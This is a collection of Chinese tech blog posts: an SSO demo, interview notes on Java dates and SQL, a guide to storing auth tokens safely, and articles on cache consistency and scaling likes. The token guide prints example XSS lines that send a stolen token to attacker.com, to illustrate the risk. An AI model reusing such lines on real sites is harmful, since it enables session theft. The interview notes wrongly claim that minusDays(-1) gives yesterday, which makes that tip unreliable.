// 业务系统A - 过山车
class SystemA {
private SSOAuthCenter authCenter;
public SystemA(SSOAuthCenter authCenter) {
this.authCenter = authCenter;
}
public void accessSystem(String tokenId) {
System.out.println("=== 欢迎来到过山车 ===");
if (authCenter.validateToken(tokenId)) {
System.out.println("过山车启动!尖叫声在哪里!");
} else {
System.out.println("请先登录再玩过山车!");
}
}
}
// 业务系统B - 旋转木马
class SystemB {
private SSOAuthCenter authCenter;
public SystemB(SSOAuthCenter authCenter) {
this.authCenter = authCenter;
}
public void accessSystem(String tokenId) {
System.out.println("=== 欢迎来到旋转木马 ===");
if (authCenter.validateToken(tokenId)) {
System.out.println("木马转起来啦!找回童年记忆!");
} else {
System.out.println("请先登录再玩旋转木马!");
}
}
}
// 测试我们的SSO系统
public class SSODemo {
public static void main(String[] args) {
// 创建认证中心 - 游乐园大门
SSOAuthCenter authCenter = new SSOAuthCenter();
// 张三登录
String token = authCenter.login("zhangsan", "123456");
if (token != null) {
// 拿着同一个令牌玩不同项目
SystemA systemA = new SystemA(authCenter);
SystemB systemB = new SystemB(authCenter);
systemA.accessSystem(token); // 玩过山车
systemB.accessSystem(token); // 玩旋转木马
// 登出
authCenter.logout(token);
// 再尝试访问 - 应该被拒绝
systemA.accessSystem(token);
}
// 测试错误密码
authCenter.login("lisi", "wrongpassword");
}
}
运行结果示例:
zhangsan 登录成功!拿到游乐园手环:a1b2c3d4-e5f6-7890-abcd-ef1234567890
=== 欢迎来到过山车 ===
手环有效,欢迎继续玩耍!
过山车启动!尖叫声在哪里!
=== 欢迎来到旋转木马 ===
手环有效,欢迎继续玩耍!
木马转起来啦!找回童年记忆!
已登出,欢迎下次再来玩!
=== 欢迎来到过山车 ===
手环无效或已过期,请重新登录!
请先登录再玩过山车!
用户名或密码错误!请重新买票!
总结一下:
单点登录就像:
- 一次认证,处处通行 🎫
- 不用重复输入密码 🔑
- 安全又方便 👍
好的SSO系统就像好的游乐园管理,既要让游客玩得开心,又要确保安全!

谢谢你看我的文章,既然看到这里了,如果觉得不错,随手点个赞、转发、在看三连吧,感谢感谢。那我们,下次再见。
您的一键三连,是我更新的最大动力,谢谢
山水有相逢,来日皆可期,谢谢阅读,我们再会
我手中的金箍棒,上能通天,下能探海
来源:juejin.cn/post/7577599015426228259
同志们,我去外包了
同志们,我去外包了
同志们,经历了漫长的思想斗争,我决定回老家发展,然后就是简历石沉大海,还好外包拯救了我,我去外包了!

都是自己人,说这些伤心话干嘛;下面说下最近面试的总结地方,小小弱鸡,图一乐吧。
首先随着工作年限的增加,越来越多公司并不会去和你抠八股文了(那阵八股风好像停了),只是象征性的问几个问题,然后会对照着项目去问些实际的问题以及你的处理办法。
(ps:(坐标合肥)突然想到某鑫面试官问我你知道亿级流量吗?你怎么处理的,听到这个问题我就想呼过去,也许读书读傻了,他根本不知道亿级流量是个什么概念,最主要的是它是个制造业公司啊,你哪来的亿级流量啊,也不知道问这个问题时他在想啥,还有某德(不是高德),一场能面一个小时,人裂开)。
好了,言归正传,咱说点入职这家公司我了解到的一点东西,我分为两部分:代码和sql;
代码上
首先传统的web项目也会分前端后端,这点不错;
1.获取昨天日期
可以使用jdk自带的LocalDate.now().minusDays(-1)
这个其实内部调用的是plusDays(1)方法,所以不如直接就用plusDays方法,这样少一层判断;
PS:有多少人和我之前一样直接new Date()的。
2.字符填充
apache.common下的StringUtils的rightPad方法用于字符串填充使用方法是StringUtils.rightPad(str,len,fillStr)
大概意思就是str长度如果小于len,就用fillStr填充;
PS:有多少人之前是String.format或者StringBuilder用循环实现的。
3.获取指定年指定月的某天
获取指定年指定月的某天可以用localDate.of(year,month,day),如果我们想取2025年的五月一号,可以写成LocalDate.of(2025, 5, 1),那有人可能就想到了如果月尾呢,LocalDate.of(2025, 5, 31)也是可以的,但是我们需要清楚知道这个月有多少天,比如说你2月给个30天,那就会抛异常;
麻烦;

更好的办法就是先获取第一天,然后调用localDate.with(TemporalAdjusters.lastDayOfMonth());方法获取最后一天,TemporalAdjusters.lastDayOfMonth()会自动处理不同月份和闰年的情况;
sql层面的
有言在先,说实话我不建议在sql层面写这种复杂的东西,毕竟我们这么弱的人看到那么长的且复杂的sql会很无力,那种无力感你懂吗?打工人不为难打工人;不过既然别人写了,咱们就学习一下嘛;
1.获取系统日期
首先获取系统日期可以试用TRUNC(SYSDATE)进行截取,这样返回的时分秒是00:00:00,比如2025-05-29 00:00:00,它也可以截取数字,想知道就去自行科普下,不建议掌握,学习了下,有点搞;
2.返回date当前月份的最后一天
LAST_DAY(date)这个返回的是date当前月份的最后一天,比如今天是2025-05-29,那么返回的是2025-05-31
ADD_MONTH(date,11)表示当前日期加上11个月,比如2025-01-02,最终返回的是2025-12-02;
3.左连接的知识点
最后再提个左连接的知识点,最近看懵了,图一乐哈,A left join B,就是on的条件是在join生成临时表时起作用的,而where是对生成的临时表进行过滤;
两者过滤的时机不一样。我想了很久我觉得可以这么理解,on它虽然可以添加条件,但他的条件只是一个匹配条件比如B.age>10;它是不会对A表查询出来的数据量产生一个过滤效果;
而where是一个实打实的过滤条件,不管怎么说都会影响最终结果,对于inner join这个特例,on和where的最终效果一样,因为B.age>10会导致B的匹配数据减少,由于是交集,故会对整体数据产生影响。
好了,晚安,外包打工仔。。。
来源:juejin.cn/post/7510055871465308212
面试官最爱挖的坑:用户 Token 到底该存哪?
面试官问:"用户 token 应该存在哪?"
很多人脱口而出:localStorage。
这个回答不能说错,但远称不上好答案。
一个好答案,至少要说清三件事:
- 有哪些常见存储方式,它们的优缺点是什么
- 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
- 实际项目里怎么落地、怎么权衡「安全 vs 成本」
这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。
三种存储方式,一张图看懂差异
前端存 token,主流就三种:
flowchart LR
subgraph 存储方式
A[localStorage]
B[普通 Cookie]
C[HttpOnly Cookie]
end
subgraph 安全特性
D[XSS 可读取]
E[CSRF 会发送]
end
A -->|是| D
A -->|否| E
B -->|是| D
B -->|是| E
C -->|否| D
C -->|是| E
style A fill:#f8d7da,stroke:#dc3545
style B fill:#f8d7da,stroke:#dc3545
style C fill:#d4edda,stroke:#28a745
| 存储方式 | XSS 能读到吗 | CSRF 会自动带吗 | 推荐程度 |
|---|---|---|---|
| localStorage | 能 | 不会 | 不推荐存敏感数据 |
| 普通 Cookie | 能 | 会 | 不推荐 |
| HttpOnly Cookie | 不能 | 会 | 推荐 |
localStorage:用得最多,但也最容易出事
大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:
// 登录成功后
localStorage.setItem('token', response.accessToken);
// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});
用起来确实方便,但有个致命问题:XSS 攻击可以直接读取。
localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:
// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))
你可能会想:"我的代码没有 XSS 漏洞。"
现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。
普通 Cookie:XSS 能读,CSRF 还会自动带
有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"
如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:
// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;
// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);
XSS 能读,CSRF 还会自动带上——两头不讨好。
HttpOnly Cookie:让 XSS 偷不走 Token
真正值得推荐的,是 HttpOnly Cookie。
它的核心优势只有一句话:JavaScript 读不到。
// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
httpOnly: true, // JS 访问不到
secure: true, // 只在 HTTPS 发送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小时过期
});
设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。
// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
credentials: 'include'
});
// 攻击者的 XSS 脚本
document.cookie // 看不到 httpOnly 的 Cookie,偷不走
HttpOnly Cookie 的代价:需要正面面对 CSRF
HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF。
因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:
sequenceDiagram
participant 用户
participant 银行网站
participant 恶意网站
用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
用户->>恶意网站: 2. 访问恶意网站
恶意网站->>用户: 3. 页面包含隐藏表单
用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
银行网站->>银行网站: 5. Cookie 有效,执行转账
Note over 用户: 用户完全不知情
好消息是:CSRF 比 XSS 容易防得多。
SameSite 属性
最简单的一步,就是在设置 Cookie 时加上 sameSite:
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 关键配置
});
sameSite 有三个值:
- strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
- lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
- none:都带,但必须配合
secure: true
lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。
CSRF Token(更严格)
如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:
// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // 这个不用 httpOnly,前端需要读
// 前端请求时带上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
},
credentials: 'include'
});
// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');
}
攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。
核心对比:为什么宁愿多做 CSRF,也要堵死 XSS
这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。
XSS 的攻击面太广:
- 用户输入渲染(评论、搜索、URL 参数)
- 第三方脚本(广告、统计、CDN)
- 富文本编辑器
- Markdown 渲染
- JSON 数据直接插入 HTML
代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。
CSRF 防护相对简单、手段统一:
sameSite: lax一行配置搞定大部分场景- 需要更严格就加 CSRF Token
- 攻击面有限,主要是表单提交和链接跳转
两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护。
真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie
从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。
后端改动
登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:
// 改造前
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.json({ accessToken: token });
});
// 改造后
app.post('/api/login', (req, res) => {
const token = generateToken(user);
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
res.json({ success: true });
});
前端改动
前端请求时不再手动带 token,而是改成 credentials: 'include':
// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});
// 改造后
fetch('/api/user', {
credentials: 'include'
});
如果用 axios,可以全局配置:
axios.defaults.withCredentials = true;
登出处理
登出时,后端清除 Cookie:
app.post('/api/logout', (req, res) => {
res.clearCookie('access_token');
res.json({ success: true });
});
如果暂时做不到 HttpOnly Cookie,可以怎么降风险
有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:
- 严格防 XSS
- 用
textContent代替innerHTML - 用户输入必须转义
- 配置 CSP 头
- 富文本用 DOMPurify 过滤
- 用
- Token 过期时间要短
- Access Token 15-30 分钟过期
- 配合 Refresh Token 机制
- 敏感操作二次验证
- 转账、改密码等操作,要求输入密码或短信验证
- 监控异常行为
- 同一账号多地登录告警
- Token 使用频率异常告警
面试怎么答
回到开头的问题,面试怎么答?
简洁版(30 秒):
推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。
完整版(1-2 分钟):
Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。
localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。
普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。
推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。
所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。
当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。
加分项(如果面试官追问):
- 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
- 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
- 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估
如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:
Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):
- code-review-skill - 代码审查技能,覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则(详细介绍)
- 5-whys-skill - 5 Whys 根因分析,说"找根因"自动激活
- first-principles-skill - 第一性原理思考,适合架构设计和技术选型
全栈项目(适合学习现代技术栈):
- prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
- chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB
来源:juejin.cn/post/7583898823920451626
高并发下是先写数据库,还是先写缓存?
大家好,我是苏三,又跟大家见面了
前言
数据库和缓存(比如:redis)双写数据一致性问题,是一个跟开发语言无关的公共问题。尤其在高并发的场景下,这个问题变得更加严重。
我很负责的告诉你,该问题无论在面试,还是工作中遇到的概率非常大,所以非常有必要跟大家一起探讨一下。
今天这篇文章我会从浅入深,跟大家一起聊聊,数据库和缓存双写数据一致性问题常见的解决方案,这些方案中可能存在的坑,以及最优方案是什么。
1. 常见方案
通常情况下,我们使用缓存的主要目的是为了提升查询的性能。 大多数情况下,我们是这样使用缓存的:
- 用户请求过来之后,先查缓存有没有数据,如果有则直接返回。
- 如果缓存没数据,再继续查数据库。
- 如果数据库有数据,则将查询出来的数据,放入缓存中,然后返回该数据。
- 如果数据库也没数据,则直接返回空。
这是缓存非常常见的用法。一眼看上去,好像没有啥问题。
但你忽略了一个非常重要的细节:如果数据库中的某条数据,放入缓存之后,又立马被更新了,那么该如何更新缓存呢?
不更新缓存行不行?
答:当然不行,如果不更新缓存,在很长的一段时间内(决定于缓存的过期时间),用户请求从缓存中获取到的都可能是旧值,而非数据库的最新值。这不是有数据不一致的问题?
那么,我们该如何更新缓存呢?
目前有以下4种方案:
- 先写缓存,再写数据库
- 先写数据库,再写缓存
- 先删缓存,再写数据库
- 先写数据库,再删缓存
接下来,我们详细说说这4种方案。
2. 先写缓存,再写数据库
对于更新缓存的方案,很多人第一个想到的可能是在写操作中直接更新缓存(写缓存),更直接明了。
那么,问题来了:在写操作中,到底是先写缓存,还是先写数据库呢?
我们在这里先聊聊先写缓存,再写数据库的情况,因为它的问题最严重。
某一个用户的每一次写操作,如果刚写完缓存,突然网络出现了异常,导致写数据库失败了。
其结果是缓存更新成了最新数据,但数据库没有,这样缓存中的数据不就变成脏数据了?如果此时该用户的查询请求,正好读取到该数据,就会出现问题,因为该数据在数据库中根本不存在,这个问题非常严重。
我们都知道,缓存的主要目的是把数据库的数据临时保存在内存,便于后续的查询,提升查询速度。
但如果某条数据,在数据库中都不存在,你缓存这种“假数据”又有啥意义呢?
因此,先写缓存,再写数据库的方案是不可取的,在实际工作中用得不多。
3. 先写数据库,再写缓存
既然上面的方案行不通,接下来,聊聊先写数据库,再写缓存的方案,该方案在低并发编程中有人在用(我猜的)。
用户的写操作,先写数据库,再写缓存,可以避免之前“假数据”的问题。但它却带来了新的问题。
什么问题呢?
3.1 写缓存失败了
如果把写数据库和写缓存操作,放在同一个事务当中,当写缓存失败了,我们可以把写入数据库的数据进行回滚。
如果是并发量比较小,对接口性能要求不太高的系统,可以这么玩。
但如果在高并发的业务场景中,写数据库和写缓存,都属于远程操作。为了防止出现大事务,造成的死锁问题,通常建议写数据库和写缓存不要放在同一个事务中。
也就是说在该方案中,如果写数据库成功了,但写缓存失败了,数据库中已写入的数据不会回滚。
这就会出现:数据库是新数据,而缓存是旧数据,两边数据不一致的情况。
3.1 高并发下的问题
假设在高并发的场景中,针对同一个用户的同一条数据,有两个写数据请求:a和b,它们同时请求到业务系统。
其中请求a获取的是旧数据,而请求b获取的是新数据,如下图所示:
- 请求a先过来,刚写完了数据库。但由于网络原因,卡顿了一下,还没来得及写缓存。
- 这时候请求b过来了,先写了数据库。
- 接下来,请求b顺利写了缓存。
- 此时,请求a卡顿结束,也写了缓存。
很显然,在这个过程当中,请求b在缓存中的新数据,被请求a的旧数据覆盖了。
也就是说:在高并发场景中,如果多个线程同时执行先写数据库,再写缓存的操作,可能会出现数据库是新值,而缓存中是旧值,两边数据不一致的情况。
3.2 浪费系统资源
该方案还有一个比较大的问题就是:每个写操作,写完数据库,会马上写缓存,比较浪费系统资源。
为什么这么说呢?
你可以试想一下,如果写的缓存,并不是简单的数据内容,而是要经过非常复杂的计算得出的最终结果。这样每写一次缓存,都需要经过一次非常复杂的计算,不是非常浪费系统资源吗?
尤其是cpu和内存资源。
还有些业务场景比较特殊:写多读少。
如果在这类业务场景中,每个用的写操作,都需要写一次缓存,有点得不偿失。
由此可见,在高并发的场景中,先写数据库,再写缓存,这套方案问题挺多的,也不太建议使用。
如果你已经用了,赶紧看看踩坑了没?
4. 先删缓存,再写数据库
通过上面的内容我们得知,如果直接更新缓存的问题很多。
那么,为何我们不能换一种思路:不去直接更新缓存,而改为删除缓存呢?
删除缓存方案,同样有两种:
- 先删缓存,再写数据库
- 先写数据库,再删缓存
我们一起先看看:先删缓存,再写数据库的情况。
说白了,在用户的写操作中,先执行删除缓存操作,再去写数据库。这套方案,可以是可以,但也会有一样问题。
4.1 高并发下的问题
假设在高并发的场景中,同一个用户的同一条数据,有一个读数据请求c,还有另一个写数据请求d(一个更新操作),同时请求到业务系统。如下图所示:
- 请求d先过来,把缓存删除了。但由于网络原因,卡顿了一下,还没来得及写数据库。
- 这时请求c过来了,先查缓存发现没数据,再查数据库,有数据,但是旧值。
- 请求c将数据库中的旧值,更新到缓存中。
- 此时,请求d卡顿结束,把新值写入数据库。
在这个过程当中,请求d的新值并没有被请求c写入缓存,同样会导致缓存和数据库的数据不一致的情况。
那么,这种场景的数据不一致问题,能否解决呢?
4.2 缓存双删
在上面的业务场景中,一个读数据请求,一个写数据请求。当写数据请求把缓存删了之后,读数据请求,可能把当时从数据库查询出来的旧值,写入缓存当中。
有人说还不好办,请求d在写完数据库之后,把缓存重新删一次不就行了?
这就是我们所说的缓存双删,即在写数据库之前删除一次,写完数据库后,再删除一次。
该方案有个非常关键的地方是:第二次删除缓存,并非立马就删,而是要在一定的时间间隔之后。
我们再重新回顾一下,高并发下一个读数据请求,一个写数据请求导致数据不一致的产生过程:
- 请求d先过来,把缓存删除了。但由于网络原因,卡顿了一下,还没来得及写数据库。
- 这时请求c过来了,先查缓存发现没数据,再查数据库,有数据,但是旧值。
- 请求c将数据库中的旧值,更新到缓存中。
- 此时,请求d卡顿结束,把新值写入数据库。
- 一段时间之后,比如:500ms,请求d将缓存删除。
这样来看确实可以解决缓存不一致问题。
那么,为什么一定要间隔一段时间之后,才能删除缓存呢?
请求d卡顿结束,把新值写入数据库后,请求c将数据库中的旧值,更新到缓存中。
此时,如果请求d删除太快,在请求c将数据库中的旧值更新到缓存之前,就已经把缓存删除了,这次删除就没任何意义。必须要在请求c更新缓存之后,再删除缓存,才能把旧值及时删除了。
所以需要在请求d中加一个时间间隔,确保请求c,或者类似于请求c的其他请求,如果在缓存中设置了旧值,最终都能够被请求d删除掉。
接下来,还有一个问题:如果第二次删除缓存时,删除失败了该怎么办?
这里先留点悬念,后面会详细说。
5. 先写数据库,再删缓存
从前面得知,先删缓存,再写数据库,在并发的情况下,也可能会出现缓存和数据库的数据不一致的情况。
那么,我们只能寄希望于最后的方案了。
接下来,我们重点看看先写数据库,再删缓存的方案。
在高并发的场景中,有一个读数据请求,有一个写数据请求,更新过程如下:
- 请求e先写数据库,由于网络原因卡顿了一下,没有来得及删除缓存。
- 请求f查询缓存,发现缓存中有数据,直接返回该数据。
- 请求e删除缓存。
在这个过程中,只有请求f读了一次旧数据,后来旧数据被请求e及时删除了,看起来问题不大。
但如果是读数据请求先过来呢?
- 请求f查询缓存,发现缓存中有数据,直接返回该数据。
- 请求e先写数据库。
- 请求e删除缓存。
这种情况看起来也没问题呀?
答:对的。
但就怕出现下面这种情况,即缓存自己失效了。如下图所示:
- 缓存过期时间到了,自动失效。
- 请求f查询缓存,发缓存中没有数据,查询数据库的旧值,但由于网络原因卡顿了,没有来得及更新缓存。
- 请求e先写数据库,接着删除了缓存。
- 请求f更新旧值到缓存中。
这时,缓存和数据库的数据同样出现不一致的情况了。
但这种情况还是比较少的,需要同时满足以下条件才可以:
- 缓存刚好自动失效。
- 请求f从数据库查出旧值,更新缓存的耗时,比请求e写数据库,并且删除缓存的还长。
我们都知道查询数据库的速度,一般比写数据库要快,更何况写完数据库,还要删除缓存。所以绝大多数情况下,写数据请求比读数据情况耗时更长。
由此可见,系统同时满足上述两个条件的概率非常小。
推荐大家使用先写数据库,再删缓存的方案,虽说不能100%避免数据不一致问题,但出现该问题的概率,相对于其他方案来说是最小的。
但在该方案中,如果删除缓存失败了该怎么办呢?
6. 删缓存失败怎么办?
其实先写数据库,再删缓存的方案,跟缓存双删的方案一样,有一个共同的风险点,即:如果缓存删除失败了,也会导致缓存和数据库的数据不一致。
那么,删除缓存失败怎么办呢?
答:需要加重试机制。
在接口中如果更新了数据库成功了,但更新缓存失败了,可以立刻重试3次。如果其中有任何一次成功,则直接返回成功。如果3次都失败了,则写入数据库,准备后续再处理。
当然,如果你在接口中直接同步重试,该接口并发量比较高的时候,可能有点影响接口性能。
这时,就需要改成异步重试了。
异步重试方式有很多种,比如:
- 每次都单独起一个线程,该线程专门做重试的工作。但如果在高并发的场景下,可能会创建太多的线程,导致系统OOM问题,不太建议使用。
- 将重试的任务交给线程池处理,但如果服务器重启,部分数据可能会丢失。
- 将重试数据写表,然后使用elastic-job等定时任务进行重试。
- 将重试的请求写入mq等消息中间件中,在mq的consumer中处理。
- 订阅mysql的binlog,在订阅者中,如果发现了更新数据请求,则删除相应的缓存。
7. 定时任务
使用定时任务重试的具体方案如下:
- 当用户操作写完数据库,但删除缓存失败了,需要将用户数据写入重试表中。如下图所示:

- 在定时任务中,异步读取重试表中的用户数据。重试表需要记录一个重试次数字段,初始值为0。然后重试5次,不断删除缓存,每重试一次该字段值+1。如果其中有任意一次成功了,则返回成功。如果重试了5次,还是失败,则我们需要在重试表中记录一个失败的状态,等待后续进一步处理。

- 在高并发场景中,定时任务推荐使用
elastic-job。相对于xxl-job等定时任务,它可以分片处理,提升处理速度。同时每片的间隔可以设置成:1,2,3,5,7秒等。
如果大家对定时任务比较感兴趣的话,可以看看我的另一篇文章《学会这10种定时任务,我有点飘了》,里面列出了目前最主流的定时任务。
使用定时任务重试的话,有个缺点就是实时性没那么高,对于实时性要求特别高的业务场景,该方案不太适用。但是对于一般场景,还是可以用一用的。
但它有一个很大的优点,即数据是落库的,不会丢数据。
8. mq
在高并发的业务场景中,mq(消息队列)是必不可少的技术之一。它不仅可以异步解耦,还能削峰填谷。对保证系统的稳定性是非常有意义的。
对mq有兴趣的朋友可以看看我的另一篇文章《mq的那些破事儿》。
mq的生产者,生产了消息之后,通过指定的topic发送到mq服务器。然后mq的消费者,订阅该topic的消息,读取消息数据之后,做业务逻辑处理。
使用mq重试的具体方案如下:
- 当用户操作写完数据库,但删除缓存失败了,产生一条mq消息,发送给mq服务器。
- mq消费者读取mq消息,重试5次删除缓存。如果其中有任意一次成功了,则返回成功。如果重试了5次,还是失败,则写入
死信队列中。 - 推荐mq使用
rocketmq,重试机制和死信队列默认是支持的。使用起来非常方便,而且还支持顺序消息,延迟消息和事务消息等多种业务场景。
当然在该方案中,删除缓存可以完全走异步。即用户的写操作,在写完数据库之后,不用立刻删除一次缓存。而直接发送mq消息,到mq服务器,然后有mq消费者全权负责删除缓存的任务。
因为mq的实时性还是比较高的,因此改良后的方案也是一种不错的选择。
9. binlog
前面我们聊过的,无论是定时任务,还是mq(消息队列),做重试机制,对业务都有一定的侵入性。
在使用定时任务的方案中,需要在业务代码中增加额外逻辑,如果删除缓存失败,需要将数据写入重试表。
而使用mq的方案中,如果删除缓存失败了,需要在业务代码中发送mq消息到mq服务器。
其实,还有一种更优雅的实现,即监听binlog,比如使用:canal等中间件。
具体方案如下:
- 在业务接口中写数据库之后,就不管了,直接返回成功。
- mysql服务器会自动把变更的数据写入binlog中。
- binlog订阅者获取变更的数据,然后删除缓存。
这套方案中业务接口确实简化了一些流程,只用关心数据库操作即可,而在binlog订阅者中做缓存删除工作。
但如果只是按照图中的方案进行删除缓存,只删除了一次,也可能会失败。
如何解决这个问题呢?
答:这就需要加上前面聊过的重试机制了。如果删除缓存失败,写入重试表,使用定时任务重试。或者写入mq,让mq自动重试。
在这里推荐使用mq自动重试机制。
在binlog订阅者中如果删除缓存失败,则发送一条mq消息到mq服务器,在mq消费者中自动重试5次。如果有任意一次成功,则直接返回成功。如果重试5次后还是失败,则该消息自动被放入死信队列,后面可能需要人工介入。
最后说一句(求关注,别白嫖我)
如果这篇文章对您有所帮助,或者有所启发的话,帮忙关注一下我的同名公众号:苏三说技术,您的支持是我坚持写作最大的动力。
求一键三连:点赞、转发、在看。
关注公众号:【苏三说技术】,在公众号中回复:进大厂,可以免费获取我最近整理的10万字的面试宝典,好多小伙伴靠这个宝典拿到了多家大厂的offer。
更多项目实战:susan.net.cn/project
来源:juejin.cn/post/7596975035437809673
聊聊场景题:百万人同时点赞怎么办?这个怎么回答
大家发现了吧,现在面试八股文好像问的少了,反倒是场景题多了起来,毕竟现在AI如此强大,总揪着这点底层基础也没多大意思。
面试官张嘴闭嘴高并发、大数据量倒是真的,别管实际业务是不是高并发,但是你不会是进不来拧螺丝的。
就像之前有同学被问:“某音百万用户同时给一个视频点赞,让你来要怎么设计?”,这类题肯定见过吧。
咱们来简单拆解下这题,我是一个小学习,知识量有限,不喜勿喷。
这道题到底考察什么?
别上来就想用什么技术,先明确面试官的考察点,才能答到点子上:
- 高并发写入能力:百万人同时操作,瞬间 QPS 能冲到几十万,如何避免数据库被打垮?这是考察你对流量削峰的理解;
- 数据一致性:用户点赞后必须立刻看到 已赞 状态,点赞数可以有轻微延迟,但不能错、不能丢,这是对最终一致性的考察;
- 系统可用性:就算后端服务波动,用户点赞操作也得成功,不能出现点了没反应的情况,考察容错和降级思路;
- 资源优化:百万次请求直接怼数据库肯定不行,如何用缓存、消息队列等中间件减轻压力,考察技术选型能力。
换位思考
很多人一上来就纠结怎么让百万次点赞实时写入数据库,其实跑偏了。
咱们站在用户角度想:
- 用户点击点赞后,最关心的是
有没有点赞成功,而不是当前赞数到底是 10086 还是 10087; - 赞数是给所有用户看的
公共数据,轻微延迟用户完全感知不到(就算数据丢了,用户也很难发现,只是会想“咦”我之前点赞过一个视频没了,就没然后了); - 核心需求是:操作成功率 99% + 客户端状态实时反馈 + 赞数最终准确。
想通这一点,方案就清晰了:把实时写入数据库的压力,转移到中间件上,用异步 + 缓存的思路解决高并发。
选取方案
咱们一步步拆解,从用户点击点赞按钮开始,整个流程是这样的:
1. 用户点赞:先写消息队列,客户端直接反馈成功
用户点击点赞的瞬间,客户端不会直接调用数据库接口,而是做两件事:
- 向后端发送点赞请求,后端收到后,不操作数据库,直接把用户ID + 视频ID + 点赞状态(赞 / 取消赞)封装成一条消息,写入 Kafka;
- Reids 记录 用户ID + 视频ID 的点赞状态,增加 视频ID 的赞数量
- 只要消息成功写入 Kafka,后端就立刻返回点赞成功给前端,客户端马上显示已赞状态。
为啥选 Kafka 我就不说了。
2. 客户端:本地记录状态,避免重复点赞
客户端收到点赞成功后,除了显示已赞,还要在本地存储记录当前用户对该视频已点赞。
这样做的好处是:
- 防止用户短时间内重复点击点赞,前端直接拦截,减少无效请求;
- 就算后续缓存没更新,用户自己看到的状态也是准确的,不影响个人体验。
3. 查赞数:直接读 Redis,不用查数据库
其他用户查看视频时,需要显示赞数,这时候客户端会调用查询赞数接口,后端的处理逻辑是:
- 不查数据库,直接从 Redis 里读取该视频的赞数缓存;
- Redis 读性能极高,支持每秒几十万次查询,完全能扛住百万用户同时查看的压力;
- 这里的赞数可能不是实时最新的,但只要延迟在可接受范围内,用户完全没感觉。
4. 后台任务:定时同步 Redis 和数据库,保证最终一致
这一步是兜底,负责把 Kafka 里的点赞消息处理掉,同时更新 Redis 和数据库:
- 后端持续从 Kafka 里拉取点赞消息;
- 启动一个定时任务,把 Redis 里所有视频的赞数,批量同步到数据库里;
